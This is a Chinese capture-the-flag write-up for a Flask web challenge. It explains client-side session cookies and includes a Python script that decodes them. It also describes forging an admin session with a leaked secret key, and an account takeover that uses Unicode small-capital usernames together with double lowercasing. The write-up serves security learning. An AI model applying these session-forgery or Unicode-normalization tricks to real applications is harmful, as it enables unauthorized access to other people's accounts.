随便点点,发现存在登录、注册、修改密码等功能。注册后进入修改密码界面查看源码,
是个flask框架。flask是个非常轻量级的框架,可能会运行在没有文件系统管理和数据库的环境之下,因此会无法避免的出现客户端session的问题。
基于客户端session的解
在传统PHP开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫“PHPSESSID”的Cookie来区分用户。这类session是“服务端session”,用户看到的只是session的名称(一个随机字符串),其内容保存在服务端。
然而,并不是所有语言都有默认的session存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多Web框架都会另辟蹊径,比如Django默认将session存储在数据库中,而对于flask这里并不包含数据库操作的框架,就只能将session存储在cookie中。
因为cookie实际上是存储在客户端(浏览器)中的,所以称之为“客户端session”
所以我们这里可以造出admin的cookie来实现一个登录。附上p神的session解码代码。
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
解出session内容。
构造所需admin的session我们还需要secret-key,在config.py中有提示:
而在index.php中,提示说session的name=admin时,即输出flag。
flask加解密脚本来加密构造session。
输入后登陆成功。
基于unicode编码的解
出题人文章这是预期解,目的在于考察关于unicode的安全问题。
在登录和修改密码时,进行了两次改小写操作。
测试中发现如下问题:
也就是说只要我们用类似ᴬᴰᴹᴵᴺ编码的账号,进行登录,在修改密码,我们就可以让该账户变为admin。最后拿到flag。